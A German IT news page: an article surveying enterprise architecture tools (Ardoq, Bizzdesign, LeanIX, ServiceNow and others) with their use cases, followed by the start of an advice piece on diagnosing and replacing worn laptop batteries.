<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



<p class="wp-block-paragraph">Nach der Übernahme von Mega International zählt die Hopex-Plattform zum Portfolio von Bizzdesign. Sie soll dabei unterstützen, Unternehmensanwendungen zu modellieren und dabei ein Verständnis der von ihnen unterstützten Geschäfts-Workflows schaffen. Dabei liegt ein Schwerpunkt auf den Bereichen Data Governance und Risikomanagement. Hopex basiert auf Microsoft <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2732704/microsoft-azure-mit-der-deutschen-cloud-zu-neuen-geldquellen.html" target="_blank">Azure</a> und stützt sich auf eine Reihe offener Standards wie GraphQL und REST Queries, um Informationen aus Komponentensystemen zu sammeln. Das Reporting ist mit den Office-Tools von Microsoft sowie mit grafischen Lösungen wie Tableau und Qlik integriert.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>datengestützte Erkenntnisse herbeiführen, um Cloud- und Anwendungsbereitstellung zu steuern;</p></li>



<li><p>akkurate Nutzungsmodelle erstellen, um Architekturanforderungen zu verstehen;</p></li>



<li><p>eine Bedarfsschätzung mit Umfragen und anderen Tools vornehmen, um für die Zukunft zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://bizzdesign.com/transformation-suite/horizzon" target="_blank" rel="noreferrer noopener">Bizzdesign Horizzon</a></strong></p>



<p class="wp-block-paragraph">Das Tool dient dazu, Business Workflows und den zugrundeliegenden Tech-Stack zu modellieren. Dazu bietet Horizzon ein Graph-basiertes Modell, das Daten von sämtlichen Stakeholdern einsammelt und diese an eine Analytics-Engine weitergibt. Im Ergebnis entstehen Diagramme, die den aktuellen Systemzustand widerspiegeln. Wichtige Schwerpunkte dieses Tools sind <a class="idgGlossaryLink" href="https://www.computerwoche.de/article/2777492/was-sie-ueber-change-management-wissen-muessen.html" target="_blank">Change Management</a> und Zukunftsplanung: Horizzon ist nicht zuletzt dafür konzipiert worden, die Risiken eines Redesigns zu minimieren. Das Toolset unterstützt die wichtigsten Frameworks ArchiMate, TOGAF und BPMN. Neben Mega hat Bizzdesign <a href="https://bizzdesign.com/press-releases/bizzdesign-adds-alfabet-business-following-successful-closing-mega-international" target="_blank" rel="noreferrer noopener">im Januar 2025</a> auch den EA-Geschäftsbereich der Software AG – Alfabet – übernommen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Vorhersage zukünftiger Anforderungen durch Predictive Modeling;</p></li>



<li><p>Orchestrieren von Workflows auf der Basis der technischen und der Business-Architektur;</p></li>



<li><p>Antizipieren von Risiken sowie Security- und Governance-Problemen durch die Modellierung von Datensicherheitsanforderungen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.capstera.com/" target="_blank" rel="noreferrer noopener">Capstera</a></strong></p>



<p class="wp-block-paragraph">Das Tool von Capstera fokussiert darauf, die Business Architecture selbst abzubilden. Value und Process Maps helfen dabei, die Rollen der verschiedenen Unternehmensbereiche zu definieren und nachzuverfolgen. Dabei können im laufenden Prozess Verknüpfungen mit den zugrundeliegenden Softwarprodukten und Tools hinzugefügt werden.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Reports erstellen, die sich erst einmal mit der Business-Architektur selbst beschäftigen;</p></li>



<li><p>Beziehungen zwischen Menschen, Abteilungen und Rollen analysieren;</p></li>



<li><p>die langfristige strategische Planung vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.bee360.com/de/" title="Clausmark Bee360" target="_blank" rel="noopener">Clausmark Bee360</a></strong></p>



<p class="wp-block-paragraph">Teammitglieder, die Clausmarks Flaggschiffprodukt Bee360 (früher Bee4IT) verwenden, wollen eine einfache “Single Source of Truth” über die Workflows im Unternehmen. Ziel ist es, verschiedenen betrieblichen Rollen intelligentere Entscheidungen zu ermöglichen. Das Modul Bee360 FM (Finanzmanagement) bietet etwa die Möglichkeit, Kosten nachzuvollziehen und zuzuordnen. Die Anwender können verschiedene solcher Module miteinander verknüpfen, um EAM, Finanzmanagement, Portfolio Management und Agile Planning nahtlos zu integrieren – bei maximaler Transparenz. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>C-Suite-Ebene befähigen, Projekte zu managen und Assets zuzuweisen;</p></li>



<li><p>präzise digitale Zwillinge entwickeln, um ein Verständnis über Datenflüsse zu schaffen und künftige Erweiterungen zu planen;</p></li>



<li><p>integrierte Wissensdatenbank aufbauen, um alle digitalen Workflows zu tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.enterprise-architecture.com/" title="EAS" target="_blank" rel="noopener">EAS</a></strong></p>



<p class="wp-block-paragraph">Das Essential-Paket von EAS (Enterprise Architecture Solutions) nahm als <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Projekt seinen Anfang und hat sich inzwischen zu einer kommerziell verfügbaren Cloud-Lösung weiterentwickelt. Das Tool erstellt ein Metamodell, das die Interaktionen zwischen Systemen und Geschäftsprozessen beschreibt. Ebenfalls enthalten sind Pakete, um gängige Business Workflows wie Datenmanagement oder DSGVO-Compliance zu tracken.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>den technischen Reifegrad der eigenen Architektur evaluieren;</p></li>



<li><p>Sicherheit und Governance durch besseres Asset Tracking optimieren;</p></li>



<li><p>wachsende Systemkomplexität kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Orbus Software iServer" href="https://www.orbussoftware.com/" target="_blank" rel="noopener">OrbusInfinity</a></strong></p>



<p class="wp-block-paragraph">Orbus Software hat Anfang 2025 die Akquisition seines Konkurrenten Capsifi <a href="https://www.orbussoftware.com/landing-pages/events/webinars/unlocking-the-future-orbus-acquires-capsifi-a-new-era-of-innovation-partnership-apac" target="_blank" rel="noreferrer noopener">abgeschlossen</a>. Der Anbieter stellt mit OrbusInfinity eine Enterprise-Transformation-Plattform auf KI-Basis zur Verfügung,  die schnellere, bessere Entscheidungen, Kosteinesparungen und Risikominimierung verspricht. Architecture-Teams sollen mit Hifle von OrbusInfinity mit einer Vielzahl von Stakeholdern interagieren können, um eine “digitale Blaupause” ihres Unternehmens zu generieren, die eine einheitliche Sicht auf das aktuelle und künftige Geschäft realisieren soll. Diverse Drittanbieter-Tools lassen sich außerdem mit der Plattform <a href="https://www.orbussoftware.com/product/integrations" target="_blank" rel="noreferrer noopener">integrieren</a>, darunter etwa von Microsoft, Flexera, ManageEngine oder ServiceNow. </p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Stakeholder-Management;</p></li>



<li><p>Enterprise-Landschaften visualisieren;</p></li>



<li><p>Entscheidungsfindung und Datenanalyse automatisieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.planview.com/de/" title="Planview Enterprise One" target="_blank" rel="noopener">Planview Enterprise One</a></strong></p>



<p class="wp-block-paragraph">Planview bietet eine ganze Reihe von Produkten, mit denen Unternehmen Teamwork, Prozesse und die Enterprise Architecture nachvollziehen können. Die Enterprise Tools sind in drei Kategorien unterteilt: strategisches Portfolio-Management, Produktportfolio-Management und Projektportfolio-Management. Im Zusammenspiel entstehen hardware- und Software-übergreifende Layer, die rollenbasierte Perspektiven für Führungskräfte und Teammitglieder eröffnen. Das Toolset integriert mit gängigen Ticket-Tracking-Systemen wie Jira, um Workflow-Analysen und Reports zu erstellen. Inzwischen hat Planview nach einer Übernahme neue Tools in sein Portfolio integriert, die früher unter den Namen Daptiv, Barometer und Projectplace bekannt waren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>eine langfristige, strategische Vision für die Architekturentwicklung aufbauen;</p></li>



<li><p>Entwicklungsarbeit auf Projektebene tracken und in eine beliebige Strategie integrieren;</p></li>



<li><p>mit Fokus auf die Customer Experience und die Produktstruktur den Change vorantreiben.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.qualiware.com/" title="QualiWare Enterprise Architecture" target="_blank" rel="noopener">QualiWare Enterprise Architecture</a></strong></p>



<p class="wp-block-paragraph">Das Enterprise Architecture Tool von QualiWare ist Teil einer größeren Sammlung von Modellierungswerkzeugen, die darauf abzielt, sämtliche Geschäftsprozesse zu erfassen. Beispielsweise ist es möglich, einen digitalen Zwillinge zu bauen, mit dem sich Customer Journeys nachvollziehen lassen. Qualiware hat diverse KI-Algorithmen integriert, um Dokumentation und Process Discovery zu optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein kollaboratives Ökosystem für Business Manager aufbauen, das ein Verständnis von der Enterprise Architecture vermittelt;</p></li>



<li><p>architektonische Designelemente erfassen, um ein Wissens-Ökosystem rund um den Stack aufzubauen;</p></li>



<li><p>eine breite Beteiligung in Sachen Dokumentationserstellung und -überprüfung fördern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.erwin.com/de-de/products/erwin-evolve/" title="Quest Erwin Evolve" target="_blank" rel="noopener">Quest Erwin Evolve</a></strong></p>



<p class="wp-block-paragraph">Das Erwin Evolve Tool von Quest hat sich von einem Datenmodellierungs-Tool zu einem System für Enterprise-Architecture- und Geschäftsprozess-Modellierung weiterentwickelt. Um die Komplexität moderner, ineinandergreifender Softwaresysteme und der von ihnen gemanagten Geschäftsprozesse zu durchdringen, können Anwender auf benutzerdefinierte Datenstrukturen zurückgreifen. Das Web-Tool erstellt Modelle, rollenbasierte Diagramme und andere Visualisierungen, die in allgemein zugängliche Dashboards einfließen. Zum Paket gehört ein KI-basiertes Modellierungs-Tool, das Whiteboard-Skizzen integrieren kann.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>einen digitalen Zwilling für die strategische Modellierung der Enterprise Data Architecture erstellen;</p></li>



<li><p>Customer Journeys verstehen;</p></li>



<li><p>Services und Systeme mit Application Portfolio Management tracken.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="LeanIX Enterprise Architecture Suite" href="https://www.leanix.net/de/produkte/enterprise-architecture-management" target="_blank" rel="noopener">SAP LeanIX Enterprise Architecture Suite</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von LeanIX umfasst unter anderem Enterprise Architecture Management und andere Bereiche, die für Aufgaben wie <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/cloud-computing,3454" target="_blank">SaaS</a>– und Value-Stream-Management wichtig sind – etwa um Cloud-Deployments und darauf laufende Services zu tracken. Die Daten die dabei über die IT-Infrastruktur gesammelt werden, fließen in ein grafisches Dashboard ein. Das Tool ist eng mit wichtigen Cloud-Workflow-Tools wie Confluence, Jira, Signavio und Lucidchart integriert. Das ist für Teams von Vorteil, die diese Tools bereits nutzen, um ihre Entwicklungsstrategien zu planen und umzusetzen. Seit November 2023 <a href="https://www.leanix.net/de/unternehmen/pressemeldungen/leanix-gehoert-jetzt-zu-sap">ist LeanIX Teil von SAP</a>.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Anwendungsmodernisierung und Cloud-Migration managen;</p></li>



<li><p>Obsoleszenz von Software-Services evaluieren;</p></li>



<li><p>Kosten kontrollieren und managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.servicenow.com/de/" title="ServiceNow" target="_blank" rel="noopener">ServiceNow</a></strong></p>



<p class="wp-block-paragraph">Die Tool-Sammlung von ServiceNow lässt sich auf verschiedene Architekturtypen herunterbrechen, darunter Assets, <a href="https://www.computerwoche.de/article/2785626/wie-devops-die-it-beschleunigen.html" target="_blank" class="idgGlossaryLink">DevOps</a>, Security und Service. Die Tools katalogisieren die unterschiedlichen Hardware- und Softwareplattformen, um Workflows und Datenflüsse im Unternehmen abzubilden und zu verstehen. Ausführliche Reportings und detaillierte Dashboards ermöglichen Analysen, auf deren Grundlage Risiken minimiert und die Ausfallsicherheit der Systeme erhöht werden können.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Tracken von Assets, Services und Systemen, die das Unternehmen ausmachen;</p></li>



<li><p>Governance-Themen, Risikobegrenzung, IT-Management und Security Operations werden in einer Plattform zusammengeführt;</p></li>



<li><p>durch die Integration von CRM-Tools lassen sich auch kundenorientierte Services managen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://sparxsystems.com/products/ea/" title="Sparx Systems" target="_blank" rel="noopener">Sparx Systems</a></strong></p>



<p class="wp-block-paragraph">Um Teams und Projekte verschiedener Größe und Komplexität zu unterstützen, hat Sparx vier Versionen seines EA-Tools entwickelt. Allen gemeinsam ist eine UML-basierte Modellierung, mit der sich die Komponenten komplexer Systeme tracken lassen. Eine Simulations-Engine ermöglicht “War Gaming” und vermittelt ein Verständnis darüber, wie sich Fehler ausbreiten und kaskadieren können. Sparx stellt zudem eine Vielzahl von vorgefertigten Design Patterns bereit, um Teams bei der Modellierung zu unterstützen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Nachfrage- und Lastveränderungen zur Prognose künftiger Anforderungen simulieren;</p></li>



<li><p>(potenzielle) Probleme durch eine Verbindungs-Matrix im Auge behalten;</p></li>



<li><p>Dokumentation erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.teamblue.unicomsi.com/products/system-architect/" title="Unicom System Architect" target="_blank" rel="noopener">Unicom System Architect</a></strong></p>



<p class="wp-block-paragraph">System Architect ist eines der Angebote aus Unicoms Team Blue. Es handelt sich um ein Tool, das ein Metamodell verwendet, um automatisiert so viele Daten wie möglich über die laufenden Systeme zu sammeln – manchmal auch durch ein Reverse Engineering von Datenflüssen. Dieses systemweite Datenmodell kann über benutzerdefinierte Dashboards Teammitgliedern aller Rollen zugänglich gemacht werden. Ein weiteres erwähnenswertes Feature: Die Ressourcenzuweisung lässt sich mit Hilfe von Simulationen optimieren.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Was-wäre-wenn-Fragen zum Architekturmodell stellen;</p></li>



<li><p>ein Metamodell von Daten und Systemen aufbauen;</p></li>



<li><p>Migrations- und Transformationspläne erstellen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.valueblue.com/bluedolphin" title="ValueBlue BlueDolphin" target="_blank" rel="noopener">ValueBlue BlueDolphin</a></strong></p>



<p class="wp-block-paragraph">Dieses EA-Tool sammelt Daten auf dreierlei Art:</p>



<ol class="wp-block-list">
<li><p>Es importiert Basisdaten auf der Grundlage standardgesteuerter Automatisierung (ITSM, SAM).</p></li>



<li><p>Es arbeitet mit den Dateiformaten von Architekten und Systemdesignern – etwa ArchiMate oder BPMN.</p></li>



<li><p>Es gibt Fragebögen an andere Stakeholder heraus, die auf anpassbaren Vorlagen basieren.</p></li>
</ol>



<p class="wp-block-paragraph">Die aufbereiteten Informationen werden in einer visuellen Umgebung bereitgestellt, die Auskunft über die historische Entwicklung von Systemen gibt.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>systemweite Daten von internen und externen Stakeholdern automatisiert und formularbasiert erfassen;</p></li>



<li><p>zukunftsorientierte Reportings erzeugen, um den Change zu überwachen und voranzutreiben;</p></li>



<li><p>Kooperation und Zusammenarbeit durch offenes Data Reporting fördern.</p></li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.cio.com/article/196069/top-enterprise-architecture-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CIO.com erschienen. </strong></p>
</div></div></div>
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<title><![CDATA[Akku im Sinkflug – wann lohnt der Tausch, wann muss ein neues Notebook her?]]></title>
<description><![CDATA[ParinPix / Shutterstock.com



Die Steckdose wird zum ständigen Begleiter, das Ladekabel zum wichtigsten Accessoire im Rucksack: Wenn der Notebook-Akku nachlässt, wächst unweigerlich der Frust im Alltag. Die schlechte Nachricht: Der chemische Alterungsprozess von Lithium-Ionen-Zellen ist unvermei...]]></description>
<link>https://tsecurity.de/de/3694427/it-security-nachrichten/akku-im-sinkflug-wann-lohnt-der-tausch-wann-muss-ein-neues-notebook-her/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694427/it-security-nachrichten/akku-im-sinkflug-wann-lohnt-der-tausch-wann-muss-ein-neues-notebook-her/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-21.16.38.png?w=1024" alt="Akku im Sinkflug" class="wp-image-4198584" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">ParinPix / Shutterstock.com</p></div>



<p class="wp-block-paragraph">Die Steckdose wird zum ständigen Begleiter, das Ladekabel zum wichtigsten Accessoire im Rucksack: Wenn der <a href="https://www.pcwelt.de/article/3158726/akkulaufzeit-unter-windows-11-erhoehen.html" target="_blank">Notebook-Akku</a> nachlässt, wächst unweigerlich der Frust im Alltag. Die schlechte Nachricht: Der chemische Alterungsprozess von Lithium-Ionen-Zellen ist unvermeidbar. Doch ein schwacher Akku bedeutet noch nicht zwingend, dass ein älterer <a href="https://www.pcwelt.de/article/2215385/die-besten-laptops-test.html" target="_blank">Laptop</a> in den Elektroschrott gehört. Oft lässt sich der Stromspeicher problemlos austauschen und die Reparatur ist wirtschaftlich sinnvoll. Aber nicht in jedem Fall. Wir zeigen, wie Sie sich an Fakten statt am Bauchgefühl orientieren und wann es Zeit wird, sich nach neuer Hardware umzusehen.</p>



<h2 class="wp-block-heading">Diagnose: Fakten statt Bauchgefühl</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-21.17.04.png?w=851" alt="Diagnose" class="wp-image-4198585" width="851" height="1024" sizes="auto, (max-width: 851px) 100vw, 851px"></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Bevor Sie Schraubenzieher zücken oder neue Hardware kaufen, muss geklärt werden: Ist Ihr Akku wirklich verschlissen, oder saugt ressourcenfressende Software im Hintergrund heimlich den Stromspeicher leer? Die Frage ist schnell beantwortet, denn sowohl Windows als auch macOS bieten tiefgreifende <a href="https://www.pcwelt.de/article/3014555/laptop-windows-akkubericht.html" target="_blank">Diagnose-Tools</a>, die sich mit wenigen</p>



<p class="wp-block-paragraph"><strong>Unter Windows:</strong> Öffnen Sie die Windows-Eingabeaufforderung (CMD) oder PowerShell als Administrator und tippen Sie den Befehl</p>



<pre class="wp-block-code"><code><strong>powercfg /batteryreport</strong></code></pre>



<p class="wp-block-paragraph">ein. Windows generiert daraufhin eine detaillierte HTML-Datei, die tief ins System blicken lässt. Öffnen Sie die Datei unter dem angegebenen Pfad – z.B. „C:\battery-report.html“. Entscheidend sind hier zwei Werte: die <strong>Design Capacity</strong> (die ursprüngliche Nennkapazität Ihres Akkus ab Werk) und die <strong>Full Charge Capacity</strong> (die aktuell noch erreichbare Maximalkapazität). Liegt die aktuelle Kapazität unter <strong>80 Prozent des Ursprungswertes</strong>, gilt ein Akku allgemein als verschlissen. Spätestens wenn er die 70-Prozent-Marke unterschreitet, wird der Kapazitätsverlust im Alltag oft zu einer spürbaren Einschränkung – das Bauteil ist Ende seines Lebenszyklus angekommen.</p>



<p class="wp-block-paragraph"><strong>Bei macOS:</strong> Auf einem MacBook führt der Weg über das Apfel-Menü zu <strong>Systemeinstellungen → Allgemein → Info → Systembericht</strong>. Unter dem Reiter „Stromversorgung“ finden Sie die Anzahl der Ladezyklen sowie den Zustand. Apple garantiert in der Regel, dass ein Akku nach 1.000 vollständigen Ladezyklen noch mindestens 80 Prozent seiner ursprünglichen Kapazität halten kann. Fällt der Wert darunter, rät das System oft von selbst zum Service.</p>



<h2 class="wp-block-heading">Schrauben oder schrauben lassen?</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-19-um-21.17.18.png?w=1024" alt="Reparaturanleitungen" class="wp-image-4198586" width="1024" height="684" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Auf <a href="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html#" target="_blank">iFixit</a> finden Verbraucher Reparaturanleitungen, Ersatzteile und Werkzeug für zahlreiche Notebooks, Smartphones und andere Elektronikgeräte.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">Steht der Defekt fest oder ist die Alterung bereits weit fortgeschritten, folgt oft eine logistische Herausforderung. Die Hardware-Realität von 2026 ist Verbrauchern nämlich nicht gerade entgegengekommen – zumindest beim Akku: In vielen modernen Ultrabooks, Surface-Geräten oder MacBooks sind die Akkuzellen großflächig im Gehäuse verklebt. Das macht den Tausch für Laien gefährlich, weil bei einer Beschädigung der Zellen <a href="https://www.pcwelt.de/article/2590103/akku-brennt-richtig-handeln-und-loeschen.html" target="_blank">akute Brandgefahr</a> besteht.</p>



<p class="wp-block-paragraph">Der Gang zur Fachwerkstatt ist deshalb oft alternativlos – achten Sie hierbei am besten auf zertifizierte Betriebe, die eine <strong>Garantie auf das Ersatzteil</strong> gewähren. Anders sieht es bei reparaturfreundlichen Business-Geräten wie dem <a href="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html#" target="_blank">Lenovo ThinkPad T14 Gen 5</a> oder Vorreitern der Modularität wie dem <a href="https://www.pcwelt.de/article/2230834/framework-laptop-16-test.html" target="_blank">Framework Laptop 16</a> aus: Hier brauchen Sie oft nur einen passenden Schraubendreher und zehn Minuten Zeit, um den Akku selbst zu tauschen. Wie Sie Ihren Akku am Laptop oder am Smartphone selbst tauschen können, <a href="https://www.pcwelt.de/article/2666199/akkutausch-so-klappts-beim-smartphone-und-notebook.html" target="_blank">erklären wir in diesem Ratgeber</a>.</p>



<p class="wp-block-paragraph"><strong>Achtung beim Teilekauf:</strong> Sparen Sie nicht am falschen Ende. Extrem billige Nachbau-Akkus von No-Name-Händlern auf großen Marktplätzen bergen nicht nur ein <a href="https://www.pcwelt.de/article/3060569/akku-ladefehler-brandgefahr-vermeiden.html" target="_blank">Brandrisiko</a>, sondern schummeln oft auch bei der echten Kapazität. Greifen Sie <strong>unbedingt zu Originalteilen des Herstellers</strong> oder zu zertifizierten Ersatzteilen etablierter Drittanbieter (wie <a href="https://www.pcwelt.de/article/3174903/notebook-akku-tauschen-oder-neukauf-ratgeber.html#" target="_blank">iFixit</a>).</p>



